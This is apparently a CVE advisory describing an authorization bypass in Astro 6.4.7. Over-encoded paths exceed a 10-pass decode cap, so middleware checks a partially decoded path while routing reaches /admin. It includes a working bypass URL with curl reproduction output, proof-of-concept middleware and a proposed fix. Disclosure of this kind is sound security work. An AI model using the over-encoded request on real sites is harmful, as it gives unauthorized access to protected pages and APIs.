CVE-2026-59731

描述

# Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch ## Summary Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth. The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional `decodeURI()` operation and resolves the request to a protected route. As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns. **Potential CWE:** CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions --- ## Vulnerable Pattern Middleware authorization sees: ```text /%61dmin ``` Later rewrite route matching sees: ```text /admin ``` This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route. --- ## Root Cause ### Iterative Decoding Logic PR #16967 introduced iterative URI decoding: ```js let iterations = 0; while (decoded !== pathname && iterations < 10) { pathname = decoded; try { decoded = decodeURI(pathname); } catch { // decodeURI can fail when a decoded literal '%' forms an // invalid sequence with adjacent characters. break; } iterations++; } return decoded; ``` The intent was to ensure middleware receives a fully decoded canonical pathname. However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request. --- ### Rewrite Route Matching Later, Astro performs another decode during route matching: ```js const decodedPathname = decodeURI(pathname); ``` Consequently: ```text Middleware pathname: /%61dmin Route matcher: /admin ``` This creates a canonicalization mismatch between authorization logic and routing logic. --- ## Proof of Concept ### Middleware ```js import { defineMiddleware } from 'astro:middleware'; export const onRequest = defineMiddleware(async (context, next) => { const pathname = context.url.pathname; if (pathname === '/admin' || pathname.startsWith('/admin/')) { return new Response( '403 Forbidden: middleware blocked canonical /admin', { status: 403, headers: { 'content-type': 'text/plain;charset=UTF-8', 'x-middleware-pathname': pathname, }, } ); } if (pathname !== '/') { const response = await next(context.url); response.headers.set('x-middleware-pathname', pathname); response.headers.set( 'x-vuln-pattern', 'next(context.url) rewrite after pathname check' ); return response; } return next(); }); ``` The critical pattern is: ```js return next(context.url); ``` The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery. --- ## Reproduction ### Protected Route ```bash curl -i http://127.0.0.1:8989/admin ``` Response: ```http HTTP/1.1 403 Forbidden x-middleware-pathname: /admin 403 Forbidden: middleware blocked canonical /admin ``` --- ### Bypass Request ```bash curl -i http://127.0.0.1:8989/%252525252525252525252561dmin ``` Response: ```http HTTP/1.1 200 OK x-middleware-pathname: /%61dmin x-vuln-pattern: next(context.url) rewrite after pathname check Admin page reached Protected content rendered after rewrite route matching. request url: http://127.0.0.1:8989/%61dmin ``` This demonstrates: ```text Middleware saw: /%61dmin Router reached: /admin ``` --- ## Encoding Depth Analysis The bypass occurs at encoding depth 11. ### Decoder Trace ```text depth 0: /%61dmin -> /admin depth 1: /%2561dmin -> /admin depth 2: /%252561dmin -> /admin depth 3: /%25252561dmin -> /admin depth 4: /%2525252561dmin -> /admin depth 5: /%252525252561dmin -> /admin depth 6: /%25252525252561dmin -> /admin depth 7: /%2525252525252561dmin -> /admin depth 8: /%252525252525252561dmin -> /admin depth 9: /%25252525252525252561dmin -> /admin depth 10: /%2525252525252525252561dmin -> /admin depth 11: /%252525252525252525252561dmin -> /%61dmin ``` Depths 0–10 are fully decoded and blocked by middleware. Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit. A later `decodeURI()` converts: ```text /%61dmin ``` into: ```text /admin ``` allowing route matching to reach the protected endpoint. --- ## Exploit Preconditions Exploitation requires: ### 1. Path-Based Authorization Middleware performs authorization using: ```js context.url.pathname ``` For example: ```js if (context.url.pathname === '/admin') { block(); } ``` ### 2. Rewrite-Based Routing The request is subsequently passed into Astro routing via: ```js next(context.url) ``` or equivalent rewrite behavior that performs route matching after middleware execution. --- ## Impact An unauthenticated attacker may bypass middleware protections guarding routes such as: ```text /admin /api/admin /internal /dashboard ``` if the application: 1. Relies on pathname-based authorization checks. 2. Uses rewrite behavior that performs route matching after middleware execution. Affected applications may expose protected pages or APIs despite middleware restrictions. --- ## Security Analysis The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass. Previous advisories demonstrated bypasses using: ```text /%2561dmin ``` to reach: ```text /admin ``` The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths. However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch. The existence of a decoding limit is not itself problematic. The vulnerability arises because Astro: 1. Stops decoding. 2. Returns a partially canonicalized pathname. 3. Performs additional decoding later during route matching. Authorization and routing therefore operate on different pathname representations. --- ## Recommended Fix Do not return partially decoded pathnames when the iteration limit is exceeded. Instead, reject the request whenever decoding has not stabilized before reaching the cap. ### Example Fix ```js let iterations = 0; while (decoded !== pathname) { if (iterations >= 10) { throw new Error('URL encoding depth exceeded'); } pathname = decoded; try { decoded = decodeURI(pathname); } catch { break; } iterations++; } return decoded; ``` ### Additional Hardening Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent `decodeURI()` on values that have already been normalized. Authorization and route matching must operate on the exact same canonical pathname representation. --- ## Conclusion Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit. When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route. This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.